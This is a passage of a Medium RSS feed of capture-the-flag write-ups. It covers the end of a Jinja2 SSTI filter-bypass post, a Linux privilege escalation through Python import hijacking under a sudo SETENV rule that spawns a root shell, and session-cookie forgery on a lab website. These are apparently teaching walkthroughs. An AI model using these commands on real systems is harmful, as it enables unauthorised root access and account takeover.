src="https://cdn-images-1.medium.com/max/1008/1*VHfasS0ZumkYjGFl0WnyVQ.jpeg" /><figcaption>and we FINALLY got the FLAG (ignore my dumba$$ homie )</figcaption></figure><h3>One-liner</h3><blockquote><em>In Jinja2 SSTI, when </em><em>. and </em><em>_ are filtered, rebuild attribute chains with </em><em>attr() and hex-escaped strings to reach Python internals and achieve file read/RCE.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30b9e3e3e806" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[cybertalent: Escalate]]></title>
            <link>https://medium.com/@m.rashad1mr1/cybertalent-escalate-5cb599348de4?source=rss-43be37a572e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cb599348de4</guid>
            <dc:creator><![CDATA[0xRashad]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 13:08:14 GMT</pubDate>
            <atom:updated>2026-02-22T13:08:43.916Z</atom:updated>
            <content:encoded><![CDATA[<h3>Escalate</h3><p><strong>Description:</strong> <em>“i think we need a new system admin :)”</em></p><p><strong>Given Credentials:</strong></p><ul><li><strong>Username:</strong> ctf</li><li><strong>Password:</strong> ctf</li></ul><h3>Objective</h3><p>Gain <strong>root (administrator) privileges</strong> on the system and retrieve the flag.</p><p>The hint implies that the current admin setup is broken and we are expected to replace them.</p><h3>Initial Access</h3><p>Login with the provided credentials and verify privileges:</p><pre>whoami<br>id</pre><p>Result: low-privileged user ctf</p><h3>Enumeration</h3><p>The first and most important enumeration step on any Linux box:</p><pre>sudo -l</pre><p>Output:</p><pre>User ctf may run the following commands as root:<br>    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/cool.py</pre><h3>Why this is critical</h3><p>This single line already means privilege escalation is very likely:</p><ul><li><strong>NOPASSWD</strong> → no barrier to running the command</li><li><strong>python3</strong> → interpreter = code execution potential</li><li><strong>SETENV</strong> → attacker controls environment variables</li><li>Script runs as <strong>root</strong></li></ul><p>Running scripting languages as root via sudo is almost always exploitable.</p><h3>Code Review</h3><p>Inspect the allowed script:</p><pre>sed -n &#39;1,200p&#39; /opt/cool.py</pre><p>Source:</p><pre>import pyfiglet</pre><pre>user_name = input(&quot;&gt; Enter your name to be c00l:&quot;)<br>print(pyfiglet.figlet_format(user_name))</pre><h3>Why this matters</h3><p>The script imports a third-party module (pyfiglet).</p><p>Python resolves imports using PYTHONPATH before system libraries.</p><p>Because sudo allows SETENV, we can inject our own module and hijack execution.</p><p>This is known as <strong>Python import hijacking</strong>.</p><h3>Exploitation</h3><h3>Step 1 — Prepare the payload</h3><p>Create a fake module with malicious code:</p><pre>mkdir -p /tmp/pwn<br>cat &gt; /tmp/pwn/pyfiglet.py &lt;&lt; &#39;EOF&#39;<br>import os<br>os.system(&quot;/bin/bash&quot;)<br>EOF</pre><h3>What the payload is</h3><p>The payload is the code that gets executed as root:</p><pre>import os<br>os.system(&quot;/bin/bash&quot;)</pre><p>This spawns a shell.</p><p>Because the Python interpreter is executed with sudo, the shell is <strong>root</strong>.</p><p>The heredoc (cat &lt;&lt; EOF) is only a delivery method.</p><p>The payload is the Python code itself.</p><h3>Step 2 — Trigger the vulnerable sudo rule</h3><pre>sudo PYTHONPATH=/tmp/pwn /usr/bin/python3 /opt/cool.py</pre><h3>What happens internally</h3><ul><li>Python starts as root</li><li>Python tries import pyfiglet</li><li>PYTHONPATH points to /tmp/pwn</li><li>Python loads <strong>our fake module instead of the real one</strong></li><li>Our payload executes</li><li>Root shell is spawned</li></ul><h3>Privilege Escalation Confirmed</h3><pre>whoami<br>id</pre><p>Result:</p><pre>root<br>uid=0(root)</pre><h3>Flag Retrieval</h3><pre>find / -name &quot;flag*&quot; 2&gt;/dev/null<br>cat /root/flag.txt</pre><h3>Why This Works</h3><p>This is not a bug in Python.</p><p>This is an <strong>insecure sudo configuration</strong> combined with unsafe scripting practices:</p><ol><li>Allowing Python to run as root</li><li>Allowing environment variable control (SETENV)</li><li>Importing external modules in a root-executed script</li><li>No isolation of the Python runtime</li></ol><p>This combination guarantees compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cb599348de4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Restricted Sessions cybertalent challenge]]></title>
            <link>https://medium.com/@m.rashad1mr1/the-restricted-sessions-cybertalent-challenge-339cd8ecd94e?source=rss-43be37a572e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/339cd8ecd94e</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyber-talents]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xRashad]]></dc:creator>
            <pubDate>Thu, 19 Feb 2026 23:48:14 GMT</pubDate>
            <atom:updated>2026-02-19T23:48:14.508Z</atom:updated>
            <content:encoded><![CDATA[<p>→ first of all we have this description : “Flag is restricted to logged users only , can you be one of them.”</p><p>by visiting the website “<a href="http://cdcamxwl32pue3e6mkm73p97aqzqw873oeeo7twvy-web.cybertalentslabs.com/%E2%80%9D">http://cdcamxwl32pue3e6mkm73p97aqzqw873oeeo7twvy-web.cybertalentslabs.com/”</a> , i got this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*SqcAPondLpeT4psoLQ4hyQ.png" /></figure><p>by opining the source code i found this script :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*K5RZrtptHg6tHcA88rfBWg.png" /></figure><p>so i opened Burp Sweet to see how the request looks like, and i found that the request doesn’t have a cookie header with the PHPSESSID , that the script try to do :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*hn9oG9j-fMyw66xWrma9eQ.png" /></figure><p>so i added the cookie header with the PHPSESSID : “Cookie: PHPSESSID=” → and i got this interesting response :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*x7vz02b63YnSw5XPeyhmUg.png" /></figure><p>→ by visiting the “data/session_store.txt” file , i found this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iMUKdQmgkEmlQzWObE34GQ.png" /></figure><p>three PHPSESSIDs by testing each one of them in a request , i got the same response which is :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*K6QeG6hpLOu_8Hs-Ap06kA.png" /></figure><p>so lets add a UserInfo ( Cookie: PHPSESSID=11l3ztdo96ritoitf9fr092ru3; UserInfo= ) and i got this response :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*mvbEwFHggzDYAatz-uGgpA.png" /></figure><p>so its needs a valid username for that specific PHPSESSID lets go back to check again on the script we found lately :</p><pre>&lt;script type=&quot;text/javascript&quot;&gt;<br>  if(document.cookie !== &#39;&#39;){<br>    $.post(&#39;getcurrentuserinfo.php&#39;,{<br>      &#39;PHPSESSID&#39;:document.cookie.match(/PHPSESSID=([^;]+)/)[1]<br>    },function(data){<br>      cu = data;<br>    });<br>  }<br>&lt;/script&gt;</pre><p>so it’s validating by send a POST request to the “getcurrentuserinfo.php” endpoint lets make a post request to this endpoint with our PHPSESSID using curl :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELTXTZNFVMYhbkgzHnUqEg.png" /><figcaption><strong>NOTE</strong>: we could do this using Burp, but we need to add additional header “Content-Type: application/x-www-form-urlencoded ”, <strong>curl adding it automatically</strong></figcaption></figure><p>now we have that valid username for our PHPSESSID lets go back to put it all together the final request will be :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*sGXdu66QNprF-mxwtpp13Q.png" /></figure><p>and we finally got the flag in the response :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*IM3RTIgQaGpteSpD6ZCiaA.png" /><figcaption><strong>-&gt; submit the flag like this : </strong>sessionareawesomebutifitsecure</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=339cd8ecd94e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>